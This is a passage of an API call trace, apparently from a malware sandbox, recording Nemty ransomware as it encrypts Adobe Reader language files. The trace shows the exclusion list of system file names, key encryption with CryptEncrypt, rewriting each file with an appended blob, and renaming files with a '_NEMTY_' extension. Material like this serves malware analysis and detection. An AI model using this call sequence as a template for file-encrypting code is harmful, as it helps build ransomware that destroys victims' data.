(lpString1="DisplayLanguageNames.es_CR.txt", lpString2="MSDOS.SYS") returned -1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="IO.SYS") returned -1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="boot.ini") returned 1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="boot.ini") returned 1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.331] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="ntuser.dat") returned -1 [0215.332] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="desktop.ini") returned 1 [0215.332] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="CONFIG.SYS") returned 1 [0215.332] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="RECYCLER") returned -1 [0215.332] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.332] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="bootmgr") returned 1 [0215.332] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="programdata") returned -1 [0215.332] lstrcmpiW (lpString1="DisplayLanguageNames.es_CR.txt", lpString2="appdata") returned 1 [0215.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.332] Sleep (dwMilliseconds=0x5) [0215.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33fd87d0, dwHighDateTime=0x1d561e8)) [0215.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33fd87d0, dwHighDateTime=0x1d561e8)) [0215.340] GetLastError () returned 0x0 [0215.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.340] GetLastError () returned 0x0 [0215.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.340] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.340] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.341] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.341] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="ka3uvWSXbtZZZeUPL9HuY4yJqikiMkv3SKlf8XaGuZYe5cYEMxluZIoRvHu79TqA\r\n4k3aodxlFu+PwV/mU3tPZonOQM20giYUF2uE7zJZWfInDwOJOan2jQMF7ZLS5kp/\r\n8c9W575L6PXdqbip1+oIGaM95SsqgS2VtjIBgP6m3ifIBXAfkfriAsfKOxU3GbtC\r\nRgdo0NENCZKhVJlNxMKA2YLx5Qb0w+f2OD0i1XUl/4BkRcBfOWOUFtqSVNkJxkkc\r\nd4BiNZdbMMqU9vEtOx2Aa9TJASPYB/FAlZY2D0Pk1jkps/hrTRt1/eAHfMUoT5vw\r\ntyuvcWTogpJ6XWQbKB25FQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.341] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.342] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.342] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.342] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.346] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.346] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.346] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.346] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.346] CloseHandle (hObject=0x2e8) returned 1 [0215.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.346] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt._nemty_kgobjgd_")) returned 1 [0215.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.347] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_DO.txt", cAlternateFileName="DI1A09~1.TXT")) returned 1 [0215.347] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2=".") returned 1 [0215.347] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="..") returned 1 [0215.347] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="...") returned 1 [0215.347] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="windows") returned -1 [0215.347] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.347] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="rsa") returned -1 [0215.347] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="NTDETECT.COM") returned -1 [0215.347] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="ntldr") returned -1 [0215.347] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="MSDOS.SYS") returned -1 [0215.348] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="IO.SYS") returned -1 [0215.348] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="boot.ini") returned 1 [0215.348] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="boot.ini") returned 1 [0215.348] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.348] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="ntuser.dat") returned -1 [0215.348] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="desktop.ini") returned 1 [0215.348] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="CONFIG.SYS") returned 1 [0215.348] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="RECYCLER") returned -1 [0215.348] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.348] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="bootmgr") returned 1 [0215.348] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="programdata") returned -1 [0215.348] lstrcmpiW (lpString1="DisplayLanguageNames.es_DO.txt", lpString2="appdata") returned 1 [0215.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_DO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_DO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_DO.txt", lpUsedDefaultChar=0x0) returned 30 [0215.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_DO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_DO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_DO.txt", lpUsedDefaultChar=0x0) returned 30 [0215.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_DO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_DO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_DO.txt", lpUsedDefaultChar=0x0) returned 30 [0215.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_DO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_DO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_DO.txt", lpUsedDefaultChar=0x0) returned 30 [0215.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.349] Sleep (dwMilliseconds=0x5) [0215.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33ffe930, dwHighDateTime=0x1d561e8)) [0215.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33ffe930, dwHighDateTime=0x1d561e8)) [0215.356] GetLastError () returned 0x0 [0215.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.356] GetLastError () returned 0x0 [0215.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.356] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.356] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.356] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.356] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="uG2xTFP/YStv89G5ydy2ISyRjltR2/2sMgpYTrVaRdVGdZ/D5vsuI9Wxo7J7KWW8\r\nN/T31jRGN9JcbQlFkMMTjNH0OUA3yM6pyQY8tA4scHXrBq0AvvMvZXN2N30L+qaC\r\nILFHQTu+pPGSvm5ldG8aywlvzQRqQy7qlUmbCi48A5kGIQ7u0t6TtTzQELgpiukO\r\nclxWWyBtPBKxWwMqZbo1+kfFcnixld5Pn44GZFLGDtG8iEGCKIMu412uZ0lYB/J9\r\nQarJ3jjOFooyBASIXoxmiZm4DHfsku+ClZLZoBAh9wa6+r/xYgJSZsRB7+EeABAj\r\n76+hiuy1KqDfk11zcpCYWg==\r\n", pcchString=0x653e5dc) returned 1 [0215.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.357] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.357] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.357] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.360] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.360] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.361] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.361] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.361] CloseHandle (hObject=0x2e8) returned 1 [0215.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 